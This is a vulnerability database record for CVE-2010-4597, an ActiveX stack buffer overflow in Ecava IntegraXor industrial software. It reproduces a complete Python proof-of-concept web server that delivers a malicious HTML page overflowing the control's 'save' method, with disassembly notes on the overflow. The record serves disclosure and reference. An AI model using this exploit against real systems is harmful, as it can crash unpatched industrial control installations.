Details of VAR-E-201012-0376

ID

VAR-E-201012-0376

CVE

cve_id:

CVE-2010-4597

Trust: 1.9

sources: BID: 45487 // EXPLOIT-DB: 15767 // EDBNET: 38597

EDB ID

15767

TITLE

Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC) - Windows dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 15767

DESCRIPTION

Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC). CVE-2010-4597CVE-69960 . dos exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 15767

AFFECTED PRODUCTS

vendor:	ecava	model:	integraxor remote	scope:	-	version:	-	Trust: 1.0
vendor:	ecava	model:	integraxor	scope:	eq	version:	3.5.3900.5	Trust: 0.3
vendor:	ecava	model:	integraxor	scope:	eq	version:	3.5	Trust: 0.3
vendor:	ecava	model:	integraxor	scope:	ne	version:	3.5.3900.10	Trust: 0.3

sources: BID: 45487 // EXPLOIT-DB: 15767

EXPLOIT

#!/usr/bin/python
# intx.py
# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC
# Jeremy Brown
# December 2010
# http://www.integraxor.com/
#
# There is a stack-based buffer overflow in IntegraXor that can be triggered
# by passing an overly large value to the "save" method of the IntegraXor.Project
# control located in igcomm.dll. This control is marked both safe for scripting
# and safe for initialization.
#
# .text:100027C1 push eax ; lpString2
# .text:100027C2 lea eax, [esp+84Ch+String1]
# .text:100027C6 push eax ; lpString1
# .text:100027C7 call ds:lstrcpyW
# .text:100027CD lea ecx, [esp+848h+String1]
# .text:100027D1 push ecx
# .text:100027D2 call SplitPath
# .text:100027D7 add esp, 4
# .text:100027DA lea ecx, [esp+848h+var_83C]
# .text:100027DE call ds:??0?$basic_string@_WU?$char<truncated>
# .text:100027E4 cmp dword ptr [esi+20h], 8
# .text:100027E8 jb short loc_100027EF
# .text:100027EA mov esi, [esi+0Ch]
# .text:100027ED jmp short loc_100027F2
#
# The vulnerable code in this block passes String1 (dest) and lpString2 (src)
# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then
# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and
# adds a terminating NULL byte to the end.
#
# If you attach a debugger and set a breakpoint on 100027CD, you can see an
# exception registration record is stored before the return address:
#
# ESP+83C > 00420042 B.B. Pointer to next SEH record
# ESP+840 > 00420042 B.B. SE handler
# ESP+844 > FFFF0000 ..��
# ESP+848 > 10007916 xxxx RETURN to igcom.10007916 from igcom.10002770
#
# I wasn't able to find any useable unicode compatible PPRs. We can overwrite
# the return address, but it will exit with a c0000409 code (/GS exception).
#
# Tested Ecava IntegraXor 3.5.3900.5 on Windows
#
# Fixed version: 3.5.3900.10
#

import sys
import socket

resp="""
<html>
<body>
<object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object>
<script language="vbscript">

data="IntegraXor"
filepath=String(1038,"B")

target.save data,filepath

</script>
</body>
</html>
"""

port=80

try:
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("",port))
sock.listen(1)
conn,addr=sock.accept()

except IOError,e:
print e

print "Client at %s connected\n"%addr[0]

req=conn.recv(1024)

print "Sending data..."
conn.send(resp)
print "Done"
conn.close()

Trust: 1.0

sources: EXPLOIT-DB: 15767

EXPLOIT LANGUAGE

Trust: 0.6

sources: EXPLOIT-DB: 15767

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 15767

TYPE

ActiveX Buffer Overflow (PoC)

Trust: 1.0

sources: EXPLOIT-DB: 15767

CREDITS

Jeremy Brown

Trust: 0.6

sources: EXPLOIT-DB: 15767

EXTERNAL IDS

db:	NVD	id:	CVE-2010-4597	Trust: 1.9
db:	EXPLOIT-DB	id:	15767	Trust: 1.6
db:	EDBNET	id:	38597	Trust: 0.6
db:	ICS CERT	id:	ICSA-10-322-01	Trust: 0.3
db:	CERT/CC	id:	VU#603928	Trust: 0.3
db:	BID	id:	45487	Trust: 0.3

sources: BID: 45487 // EXPLOIT-DB: 15767 // EDBNET: 38597

REFERENCES

url:	https://nvd.nist.gov/vuln/detail/cve-2010-4597	Trust: 1.6
url:	https://www.exploit-db.com/exploits/15767/	Trust: 0.6
url:	http://www.us-cert.gov/control_systems/pdf/icsa-10-322-01.pdf	Trust: 0.3
url:	http://www.kb.cert.org/vuls/id/603928	Trust: 0.3
url:	http://www.ecava.com/index.htm	Trust: 0.3

sources: BID: 45487 // EXPLOIT-DB: 15767 // EDBNET: 38597

SOURCES

db:	BID	id:	45487
db:	EXPLOIT-DB	id:	15767
db:	EDBNET	id:	38597

LAST UPDATE DATE

2022-07-27T09:30:36.330000+00:00

SOURCES UPDATE DATE

db:

BID

id:

45487

date:

2015-04-13T21:02:00

SOURCES RELEASE DATE

db:	BID	id:	45487	date:	2010-12-16T00:00:00
db:	EXPLOIT-DB	id:	15767	date:	2010-12-18T00:00:00
db:	EDBNET	id:	38597	date:	2010-12-18T00:00:00